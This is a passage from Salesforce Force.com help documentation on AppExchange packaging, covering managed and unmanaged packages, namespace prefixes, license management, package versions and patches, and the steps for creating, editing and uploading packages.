A collection of application components that are posted as a unit on AppExchange, and are associated with a namespace
and possibly a License Management Organization. A package must be managed for it to support upgrades. An organization
can create a single managed package that can be downloaded and installed by many different organizations. They differ
from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later.
Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages
obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of the
developer.

Managed Package Extension


Any package, component, or set of components that adds to the functionality of a managed package. An extension
requires that the base managed package be installed in the organization.

Namespace Prefix
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your
package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive.
For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all
Salesforce.com organizations. It keeps your managed package under your control exclusively.

Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external
services or infrastructure.

Package
A group of Force.com components and applications that are made available to other organizations through the
AppExchange. You use packages to bundle an app along with any related components so that you can upload them to
AppExchange together.

Package Dependency
This is created when one component references another component, permission, or preference, which must exist for the
component to be valid. Components can include, but are not limited to:

• Standard or custom fields


• Standard or custom objects
• Visualforce pages
• Apex scripts

Permissions and preferences can include but are not limited to:

• Divisions
• Multicurrency
• Record types

1491
Create Glossary

Package Installation
Incorporates the contents of a package into your Salesforce.com organization. A package on AppExchange can include
an app, a component, or a combination of the two. After you install a package, you may need to deploy components in
the package to make it generally available to the users in your organization.

Package Publication
Publishing your package makes it publicly available on AppExchange. Apps can be found under specific categories and
by doing a search for keywords.

Package Version
A number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen
value during every major release. The patchNumber is generated and updated only for a patch release. If there is no
patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information
on enabling patch versions for your organization, contact salesforce.com.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A
package version has more significance for managed packages. Packages can exhibit different behavior for different versions.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package. See also Patch and Patch Development
Organization.

Patch
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring
subscribing organizations that there are no visible behavior changes to the package. For example, you can add new
variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches
are tracked by a patchNumber appended to every package version. See also Patch Development Organization and
Package Version.

Patch Development Organization


The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are
created automatically for a developer organization when they request to create a patch. See also Patch and Package
Version.

Patch Release
A minor upgrade to a managed package. During these releases, the patch number of a package version increments.

Private Sharing
Private sharing is the process of sharing an uploaded package by using the URL you receive from Salesforce.com. This
URL is not listed in the AppExchange. Using the unlisted URL allows you to share a package without going through
the listing process or making it public.

Provider
The provider of an AppExchange listing is the Salesforce.com user or organization that published the listing.

Push Upgrade
A method of delivering updates that sends upgrades of an installed managed package to all organizations that have
installed the package.

1492
Create Enabling Managed Packages for Your Organization

Subscriber
The subscriber of a package is a Salesforce.com user with an installed package in their Salesforce.com organization.

Test Drive
A test drive is a fully functional Salesforce.com organization that contains an app and any sample records added by the
publisher for a particular package. It allows users on AppExchange to experience an app as a read-only user using a
familiar Salesforce.com interface.

Unmanaged Package
A package that cannot be upgraded or controlled by its developer.

Upgrading
Upgrading a package is the process of installing a newer version. Salesforce.com supports upgrades for managed packages
that are not beta.

Uploading
Uploading a package in Salesforce.com provides an installation URL so other users can install it. Uploading also makes
your packaged available to be published on AppExchange.

See Also:
What is an App?

Enabling Managed Packages for Your Organization


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable managed packages: “Customize Application”
To create packages: “Create AppExchange packages”
To upload packages: “Download AppExchange packages”

Creating a managed package is just as easy as creating an unmanaged package, but it requires a few customizations in your
organization first. The only requirement for enabling your Salesforce.com organization to create managed packages is that
you are using a Developer Edition organization.
To enable your organization for managed packages:

• Review the information about managed packages in the Force.com Quick Reference for Developing Packages before
determining if this is the right type of package for your app.
• Optionally, install the License Management Application (LMA) from http://sites.force.com/appexchange. Search for
License Management App to locate it. The License Management Application (LMA) tracks information about each

1493
Create Enabling Managed Packages for Your Organization

user who installs your app. It allows you to track what users have which version, giving you a means of distributing
information about upgrades.
The License Management Application (LMA) can be installed in any Salesforce.com organization except a Personal,
Group, or Professional Edition organization and does not need to be the same Salesforce.com organization that you use
to create or upload the package, although it can be. You can also use the same License Management Application (LMA)
to manage an unlimited number of your managed packages in different Developer Edition organizations.
• Configure your developer settings. Your developer settings specify your namespace prefix, the Salesforce.com organization
where you install the License Management Application (LMA), and the unmanaged package you want to convert into a
managed package.

See Also:
Managing Packages
Converting Unmanaged Packages to Managed
Configuring Your Developer Settings
Registering a Namespace Prefix
Specifying a License Management Organization

About Managed Packages


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated
with a namespace and a License Management Organization.

• You must use a Developer Edition organization to create and work with a managed package.
• Managed packages are depicted by the following icons:

- Managed - Beta
- Managed - Released
- Managed - Installed

Tip: To prevent naming conflicts, Salesforce.com recommends using managed packages for all packages that contain
Apex. This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex class called
MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as
OneTruCode.MyHelloWorld.

1494
Create Enabling Managed Packages for Your Organization

Configuring Your Developer Settings


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

The developer settings in a Developer Edition organization allow you to create a single managed package and upload that
package to Force.com AppExchange so other users can install and upgrade the package in their organization. After configuring
your developer settings the first time, you can no longer modify them. Regardless of the developer settings, you can always
create an unlimited number of unmanaged packages.
Before configuring your developer settings, review the requirements and steps in Enabling Managed Packages for Your
Organization on page 1493.
To configure your developer settings:

1. Click Setup ➤ Create ➤ Packages.


2. Click Edit.
Note: This button does not appear if you have already configured your developer settings.

3. Review the selections necessary to configure developer settings, and click Continue.
4. Register a namespace prefix.
5. Choose the package you want to convert to a managed package. If you do not yet have a package to convert, leave this
selection blank and update it later.
6. Click Review My Selections.
7. Click Save.

Tip: You may want to specify a License Management Organization (LMO) for your managed package; to find out
more, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization
Registering a Namespace Prefix
Specifying a License Management Organization

1495
Create Enabling Managed Packages for Your Organization

Registering a Namespace Prefix


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package
and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example,
ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce.com
organizations. It keeps your managed package under your control exclusively.
Salesforce.com automatically prepends your namespace prefix, followed by two underscores (“__”), to all unique component
names in your Salesforce.com organization. A unique package component is one that requires a name that no other component
has within Salesforce.com, such as custom objects, custom fields, custom links, s-controls, and validation rules. For example,
if your namespace prefix is abc and your managed package contains a custom object with the API name, Expense__c, use the
API name abc__Expense__c to access this object using the API. The namespace prefix is displayed on all component detail
pages.
Caution: S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still
function properly after you register a namespace prefix. However, s-controls stored outside of your organization or
s-controls that use the Force.com API to call Salesforce.com may require some fine-tuning. For more information,
see the S-control standard object page in the Web Services API Developer's Guide.

Your namespace prefix must:

• Begin with a letter


• Contain one to 15 alphanumeric characters
• Not contain two consecutive underscores

To register a namespace prefix:

1. Click Setup ➤ Create ➤ Packages.


2. Click Edit.
Note: This button does not appear if you have already configured your developer settings.

3. Review the selections necessary to configure developer settings, and click Continue.
4. Enter the namespace prefix you want to register.
5. Click Check Availability to determine if it is already in use.
6. Repeat if the namespace prefix you entered is not available.

1496
Create Managing Packages

7. Click Review My Selections.


8. Click Save.

See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Specifying a License Management Organization

Specifying a License Management Organization


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A license management organization is a Salesforce.com organization that you use to track all Salesforce.com users who install
your managed package. The license management organization receives notification (in the form of a lead record) when a user
installs or uninstalls your package and tracks each package upload on Force.com AppExchange.
Your license management organization can be any Salesforce.com Enterprise, Unlimited, or Developer Edition organization
that has installed the free License Management Application (LMA) from AppExchange. To specify a License Management
Organization, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Registering a Namespace Prefix

Managing Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange packages”

Packages are a collection of Force.com components and applications that are made available to other organizations through
the AppExchange. A managed package is a collection of application components that are posted as a unit on AppExchange,
and are associated with a namespace and a License Management Organization. A package must be managed for it to support
upgrades. An organization can create a single managed package that can be downloaded and installed by many different
organizations. They differ from unmanaged packages in that some components are locked, allowing the managed package to
be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed

1497
Create Managing Packages

packages obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of
the developer.
For details, see the Force.com Quick Reference for Developing Packages.
To manage your packages, click Setup ➤ Create ➤ Packages. For more customization, see Configuring Your Developer
Settings on page 1495.
From the list of packages, you can do any of the following:

• Click New to create a new package, enter a package name and description, and click Save to store it in your list of packages.
For more information on creating a package, see Creating or Editing a Package on page 1499.
• Click Edit to update the package properties.
• Click Del to delete the package. The components contained in your package are not deleted.
• Click the name of the package to view the details of the package.

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

See Also:
Overview of Packages
Viewing Package Details

About Package Versions


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A package version is a number that identifies a set of components uploaded in a package.The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber,
it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch
versions for your organization, contact salesforce.com. Unmanaged packages are not upgradeable, so each package version is
simply a set of components for distribution. A package version has more significance for managed packages. Packages can
exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed
packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package.
Version numbers depend on the package release type, which identifies the way packages are distributed. There are two kinds:
Major Release
A major release denotes a Managed - Released package. During these releases, the major and minor numbers of a
package version increase to a chosen value.

Patch Release
A patch release is only for patch versions of a package. During these releases, the patch number of a package version
increments.

1498
Create Managing Packages

When an existing subscriber installs a new package version, there is still only one instance of each component in the package,
but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an
Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber
still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the
previous version for any code that references the deprecated method in the older version.
Apex has special syntax so that package developers can use conditional logic in classes and triggers to exhibit different behavior
for different versions. This allows the package developer to continue to support existing behavior in classes and triggers in
previous package versions while continuing to evolve the code.
When you are developing client applications using the API, you can specify the version of each package that you use in your
integrations.

See Also:
Managing Packages
Planning the Release of Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide
Developer's Guide: Web Services API Developer's Guide

Creating or Editing a Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”

An app can contain many different components and you can create, upload, and register your apps on your own timeline. To
group components in a container to upload to Force.com AppExchange, create a package and add components to the package.
A package is the container for the app that you must use to upload all its components together.
Tip: Before you begin, determine if you want to create and upload a managed or unmanaged package.

To create a new package:

1. Click Setup ➤ Create ➤ Packages.


2. Click New.
3. Enter a name for your package. This does not have to be the same name that appears on AppExchange.
4. From the drop-down menu, select the default language of all component labels in the package.
5. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to
installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your home
page layouts; see the Configure Option on page 1522. The custom link displays as a Configure link within Salesforce.com
on the Force.com AppExchange Downloads page and app detail page of the installer's organization.

1499
Create Managing Packages

6. Optionally in the Apex Exception Notification Recipient field, enter the username of the person who should
receive an email notification if an exception occurs in an Apex script that is not caught by the script. If you do not specify
a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for
managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 1578.
Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

7. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
8. Click Save.

After you create a package you can do any of the following:

• View the package details


• Add components to the package
• Upload the package

See Also:
Viewing Package Details
Preparing Your Apps for Distribution

Adding Components to your Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”

After you have created a package, you need to add components to it, such as app, object, Apex classes or Visualforce pages.
These packages can be uploaded to share with others privately or posted on Force.com AppExchange to share publicly.
To add components to a package, click Setup ➤ Create ➤ Packages and select the name of the package you want to add
components to. From the package detail page:

1. Click Add.
2. From the drop-down list, choose the type of component you want to add to your package.

• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
• If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

3. Select the components you want to add.

1500
Create Viewing Package Details

Note: Some components cannot be added to Managed - Released packages. For a list of these components,
see the Force.com Quick Reference for Developing Packages.
S-controls cannot be added to packages with restricted API access.

4. Click Add To Package.

See Also:
Managing Packages
Viewing Package Details
Preparing Your Apps for Distribution

Viewing Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”

Click Setup ➤ Create ➤ Packages and click the name of a package to view its details, including any added components,
whether it is a managed package, if the package has been uploaded, and so on.
The detail page has the following sections:

• Package details
• Package components
• Remote access
• Development organizations
• Version history

From the detail page, you can do any of the following:

• Click Edit to change the package name, custom link that displays when users click Configure, or description.
• Click Delete to delete the package. This does not delete the components contained in the package but the components
will no longer be bundled together within this package.
• Click Upload to upload the package. You will receive an email when the upload is complete. For more information, see
Managing Uploads on page 1512. For more information on the entire process, see Preparing Your Apps for Distribution
on page 1509.
• Click Push Upgrades to send an automatic upgrade to installed packages.
• Optionally, click Show Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1513. Click Done
to return to the Package detail page.

1501
Create Viewing Package Details

• Optionally, you can enable, disable, or change the access that components in the package have to standard objects in the
installing organization by using the links next to API Access. For more information about API access, see Managing
API and Dynamic Apex Access in Packages on page 1392.
Note: S-controls can be added to a package only if API Access is set to Unrestricted.

• Click Add Components to add components to the package.


Note: Some related components are automatically included in the package even though they may not display in
the Package Components list. For example, when you add a custom object to a package, its custom fields, page
layouts, and relationships with standard objects are automatically included. For a complete list of components
Salesforce.com automatically includes, see the Force.com Quick Reference for Developing Packages.

• Click View Deleted Components to see which components were deleted from the package across all of its versions.
• Click the version number of any listed uploads to manage that upload. For more information, see Managing Uploads on
page 1512.

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

Viewing Package Details


For package developers, the package detail section displays the following package attributes (in alphabetical order):

Attribute Description
Apex Exception Notification Recipient The username of the person who should receive an email
notification if an exception occurs in an Apex script that is
not caught by the script. If you do not specify a username, all
uncaught exceptions generate an email notification that is sent
to salesforce.com. This is only available for managed packages.
For more information, see Handling Apex Exceptions in
Managed Packages on page 1578.
Note: Apex can only be packaged from Developer,
Enterprise, and Unlimited Edition organizations.

API Access The type of access that the API and dynamic Apex scripts
that package components have. The default setting is
Unrestricted, which means that all package components that
access the API have the same access as the user who is logged
in. Click Enable Restrictions or Disable Restrictions to
change the API and dynamic Apex access permissions for a
package.
For more information about API access and the access dynamic
Apex scripts have for managed package components, see
Managing API and Dynamic Apex Access in Packages on
page 1392.

1502
Create Viewing Package Details

Attribute Description
Created By The name of the developer that created this package, including
the date and time.
Description A detailed description of the package.
Extension Indicates whether the package is an extension.
Language The language used for the labels on components. The default
value is your user language. For packages created before Spring
'10, the default is your organization's language.
Managed Indicates whether this is a managed or unmanaged package.
Modified By The name of the last user to modify this package, including
the date and time.
Package Name The name of the package, given by the publisher.

Viewing Package Components


For package developers, the Package Components section lists every package component contained in the package, including
the name and type of each component.

If a component is deprecated, the developer of the package sees a icon next to the component. Subscribers of the package
see a icon.
Note: Component deprecation is currently available through a pilot program. You may request to be added to the
pilot program by contacting Salesforce.com support.

The following component information is displayed (in alphabetical order):

Attribute Description
Action Lists the actions you can perform on the component. The only
choice is Remove, which removes the component from an
unreleased package.
Available in Versions Displays the version number of the package in which a
component exists.
Included By This column lists how a component was included in a package.
If the component was automatically included because it is
referenced by another component, this column lists the name
of the referencing component. If the component was added
by a developer, this column lists User Selected. If the
component was added in a prior version of this package, this
column lists Previously Released.
Name Displays the name of the component.
Owned By If the component was added from a different installed package,
this column lists the name of that package.
Parent Object Displays the name of the parent object a component is
associated with. For example, a custom object is the parent of
a custom field.

1503
Create Viewing Package Details

Attribute Description
Type Displays the type of the component.

Remote Access
For package developers, the Remote Access section lists all the remote access applications created as part of this package.
Click New to create a new remote access application to be included as part of this package.
The following remote access information is displayed (in alphabetical order):

Attribute Description
Name The name of the remote access application.
Version The version of the package that the remote access application
is associated with.

Viewing Patch Development Organizations


Every patch is developed in a patch development organization, which is the organization where patch versions are developed,
maintained, and uploaded. To start developing a patch, you need to create a patch development organization. To do this, see
Creating and Uploading Patches on page 1530. Patch development organizations are necessary to permit developers to make
changes to existing components without causing incompatibilities between existing subscriber installations.
The Development Organizations table lists all the patch development organizations created. It lists the following attributes
(in alphabetical order):

Attribute Description
Action Lists the actions you can perform on a patch development
organization. The possible actions are:
• Login: Log into your patch development organization
• Reset: Emails a new temporary password for your patch
development organization

Major Release The package version number that you are patching.
Username The login associated with the patch organization.

Viewing Version History


For package developers, the Version Upload History table lists all the previous uploads of a package. For managed packages,
all Managed - Beta uploads use the same version number and are indented in the list under the same version number. For
example, two subsequent Managed - Beta uploads for package version 2.0 are listed as 2.0 (Beta 1) and 2.0 (Beta 2) and are
indented under version number 2.0.
The Version Upload History section displays the following package attributes (in alphabetical order):

Attribute Description
Action Lists the actions you can perform on the package. The possible
actions are:
• Deprecate: Deprecates a package version.

1504
Create Determining Your Development Process

Attribute Description
Caution: Users will no longer be able to download
or install this package. However, existing
installations will continue to work.

• Undeprecate: Enables a package version to be installed by


users once again

Status The status of the package. The possible statuses are:


• Released: The package is Managed - Released
• Beta: The package is Managed - Beta
• Deprecated: The package version is deprecated

Type The type of the release. For more information, seeAbout


Package Versions on page 1498.
Version Name The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.
Version Number The version number for the latest installed package version.
The format is majorNumber.minorNumber.patchNumber,
such as 2.1.3. The version number represents a release of a
package. The Version Name is a more descriptive name for
the release. Note that the patchNumber is generated only
when you create a patch. If there is no patchNumber, it is
assumed to be zero (0).

See Also:
Creating or Editing a Package
Preparing Your Apps for Distribution
Managing Packages

Determining Your Development Process


Unmanaged packages are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Managed packages are available in: Developer Edition

All packages are unmanaged until you convert them to managed packages. This requires managed packages created in a
Developer Edition organization. You may prefer developing managed packages because you can beta test them before a release
and offer upgrades for them.
Before creating a package, determine the development process you aim to take so that you can choose the most appropriate
type of package for your process:

1505
Create Determining Your Development Process

Developing Unmanaged Packages


• Design your app. See the Force.com Quick Reference for Developing Packages.
• Package and upload your app

Developing Managed Packages


• Design your app. See the Force.com Quick Reference for Developing Packages.
• Package and upload a beta version of your app
• Gather feedback from your beta testers and make the appropriate fixes to your app
• Package and upload your final version of the app

See Also:
Planning the Release of Managed Packages
Managing Packages
Creating and Uploading Patches

Planning the Release of Managed Packages


Releasing a Force.com AppExchange package is similar to releasing any other program in software development. You may
want to roll it out in iterations to ensure each component functions as planned. You may even have beta testers who have
offered to install an early version of your package and provide feedback.
Once you release a package by publishing it on AppExchange, anyone can install it. So, plan your release carefully. Review
the states defined below to familiarize yourself with the release process. Salesforce.com automatically applies the appropriate
state to your package and components depending on the upload settings you choose and where it is in the release process.

State Description
Unmanaged The package has not been converted into a managed package
or the component has not been added to a managed package.
Note that a component that is “Managed - Beta” can become
“Unmanaged” if it is removed from a managed package. All
packages are unmanaged unless otherwise indicated by one of
the managed icons below.

Managed - Beta The package or component was created in the current


Salesforce.com organization and is managed, but it is not
released because of one of these reasons:
• It has not been uploaded.
• It has been uploaded with Managed - Beta option
selected. This option prevents it from being published,
publicly available on AppExchange. The developer can
still edit any component but the installer may not be able
to depending on which components were packaged..

Managed - Released The package or component was created in the current


Salesforce.com organization and is managed. It is also

1506
Create Determining Your Development Process

State Description
uploaded with the Managed - Released option selected,
indicating that it can be published on AppExchange and is
publicly available. Note that once you have moved a package
to this state, some properties of the components are no longer
editable for both the developer and installer.
This type of release is considered a major release.

Patch If you need to provide a minor upgrade to a managed package,


consider creating a patch instead of a new major release. A
patchenables a developer to change the functionality of existing
components in a managed package, while ensuring that
subscribers experience no visible changes to the package.
This type of release is considered a patch release.

Managed - Installed The package or component was installed from another


Salesforce.com organization but is managed.

A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed
- Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the
component, while the component continues to function for existing subscribers and API integrations.
For more information on developing and releasing packages, see the Force.com Quick Reference for Developing Packages.

See Also:
Managing Packages
Determining Your Development Process

Deleting Components From Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete components from a package: “Create AppExchange Packages”

After you've uploaded a Managed - Released package, you may find that a component needs to be deleted from your
organization. One of the following situations may occur:

• The component, once added to a package, can't be deleted.

1507
Create Determining Your Development Process

Note: The Components Available in Managed Packages table in the Force.com Quick Reference for Developing
Packages has more information on which components can't be deleted.

• The component can be deleted, but can only be undeleted from the Deleted Package Components page.
• The component can be deleted, but can be undeleted from either the Deleted Package Components page or through the
Recycle Bin

To access the Deleted Package Components page, click Setup ➤ Create ➤ Packages, select the package the component was
uploaded to, then click View Deleted Components. If a component can be retrieved through the Recycle Bin, it can also be
retrieved through this page. You can retrieve the following types of components from here:

• Apex classes and triggers that don't have global access


• Visualforce components with public access
• Protected components, including:

- Custom labels
- Custom links (for Home page only)
- Workflow alerts
- Workflow field updates
- Workflow outbound messages
- Workflow tasks

• Data components, such as Documents, Dashboards, and Reports. These are the only types of components that can also
be undeleted from the Recycle Bin

You can retrieve components from the Recycle Bin and Deleted Package Components page any time before uploading a new
version of the package. To do this, click Undelete next to the component.
After a package is uploaded with a component marked for deletion, it is deleted forever.
Caution: Although a component is deleted, its Name remains within Salesforce.com. You can never create another
component with the same name. The Deleted Package Components page lists which names can no longer be used.

The Deleted Components displays the following information (in alphabetical order):

Attribute Description
Action If the Managed - Released package hasn't been uploaded
with the component deleted, this contains an Undelete link
that allows you to retrieve the component.
Available in Versions Displays the version number of the package in which a
component exists.
Name Displays the name of the component.
Parent Object Displays the name of the parent object a component is
associated with. For example, a custom object is the parent of
a custom field.
Type Displays the type of the component.

1508
Create Preparing Your Apps for Distribution

Preparing Your Apps for Distribution


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

When you are ready to distribute your package, determine if you want to release a managed or unmanaged package. For more
information about the different types of releases, see the Force.com Quick Reference for Developing Packages.

1. Create a package:

a. Click Setup ➤ Create ➤ Packages.


b. Click New.
c. Enter a name for your package. This does not have to be the same name that appears on AppExchange.
d. From the drop-down menu, select the default language of all component labels in the package.
e. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to
installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your
home page layouts; see the Configure Option on page 1522. The custom link displays as a Configure link within
Salesforce.com on the Force.com AppExchange Downloads page and app detail page of the installer's organization.
f. Optionally in the Apex Exception Notification Recipient field, enter the username of the person who
should receive an email notification if an exception occurs in an Apex script that is not caught by the script. If you do
not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is
only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on
page 1578.
Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

g. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
h. Click Save.

2. Salesforce.com sets your package API access privileges to Unrestricted. You can change this setting to further restrict
API access of Salesforce.com components in the package. For more information, see Managing API and Dynamic Apex
Access in Packages on page 1392.
3. Add the necessary components for your app.

a. Click Add.
b. From the drop-down list, choose the type of component you want to add to your package.

• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
• If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

1509
Create Preparing Your Apps for Distribution

c. Select the components you want to add.

Note: Some components cannot be added to Managed - Released packages. For a list of these components,
see the Force.com Quick Reference for Developing Packages.
S-controls cannot be added to packages with restricted API access.

d. Click Add To Package.

Repeat these steps until you have added all the components you want in your package.
Note: Some related components are automatically included in the package even though they may not display in
the Package Components list. For example, when you add a custom object to a package, its custom fields, page
layouts, and relationships with standard objects are automatically included. For a complete list of components
Salesforce.com automatically includes, see the Force.com Quick Reference for Developing Packages.

4. Optionally, click Show Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1513. Click Done
to return to the Package detail page.
Note: You cannot upload packages that contain any of the following:

• References to person accounts, such as an s-control or custom field referencing person accounts.
• Workflow rules or workflow actions (such as field updates or outbound messages) that reference record
types.
• Reports that reference record types on standard objects.

5. Click Upload.
Note: If you are creating a managed package to publish on AppExchange, you must certify your application before
you package it. For more information, seeSecurity and Trust on AppExchange.

On the Upload Package page, do the following:

a. Enter a Version Name, such as June 2009. This field is required for managed and unmanaged packages. The version
name is the marketing name for a specific release of a package and allows you to create a more descriptive title for the
version.
b. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber.
Note:
If you are uploading a new patch version, you can't change the patch number.

The version number represents a release of a package. This field is required for managed and unmanaged packages.
For a managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the
same version number until you upload a Managed - Released package version with a new version number. For example,
the following is a sequence of version numbers for a series of uploads.

1510
Create Preparing Your Apps for Distribution

Upload Type Version Notes


Sequence Number
First upload Managed - Beta 1.0 The first Managed - Beta upload.
Second Managed - Released 1.0 A Managed - Released upload. Note that the version number
upload does not change.
Third upload Managed - Released 1.1 Note the change of minor release number for this Managed
- Released upload.
Fourth upload Managed - Beta 2.0 The first Managed - Beta upload for version number 2.0.
Note the major version number update.
Fifth upload Managed - Released 2.0 A Managed - Released upload. Note that the version number
does not change.

c. For managed packages, select a Release Type:

• Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce.com
components are locked. For a list of locked attributes, see the Force.com Quick Reference for Developing Packages.
• Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for
testing purposes. You'll still be able to change the components and upload additional beta versions. For information
on beta versions, see the Force.com Quick Reference for Developing Packages.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't
be pushed to customer organizations.

d. Change the Description, if necessary.


e. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't
enter a password if you want to make the package available to anyone on AppExchange and share your package publicly.
f. Salesforce.com automatically selects the requirements it finds. In addition, select any other required components from
the Package Requirements and Object Requirements sections to notify installers of any requirements for this
package.
g. Click Upload.

6. Once your upload is complete you can do any of the following.

• Click Change Password to change the password option.


Tip: If you have forgotten the password for an upload, contact salesforce.com and provide the ID listed on the
Edit Security page.

• Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of an uploaded managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See “Removing Apps from
AppExchange” in the Force.com AppExchange online help.

1511
Create Managing Uploads

• Click Undeprecate to make a deprecated upload available for installation again.

You will receive an email that includes an installation link when your package has been uploaded successfully. Wait a few
moments before clicking the installation link or distributing it to others, as it might take a few minutes for it to become active.
Note: If you uploaded from your Salesforce.com production organization, notify installers who want to install it in a
sandbox organization to replace the “www.salesforce.com” portion of the installation link with “test.salesforce.com”.
Likewise, if you uploaded from a sandbox organization, notify installers who want to install it in their Salesforce.com
production organization to replace the “test.salesforce.com” portion of the installation link with “www.salesforce.com”.
If you published a package from your sandbox, you will only be able to manage it until you create a new copy. Once
you create a new copy of your sandbox, you will no longer be able to manage packages that you uploaded from it.

See Also:
Overview of Packages
Managing Packages
Understanding Dependencies
Managing Uploads
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages

Managing Uploads
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange Packages”

After you upload a package to Force.com AppExchange, you can still manage it from Salesforce.com. To manage your uploads:

1. Click Setup ➤ Create ➤ Packages.


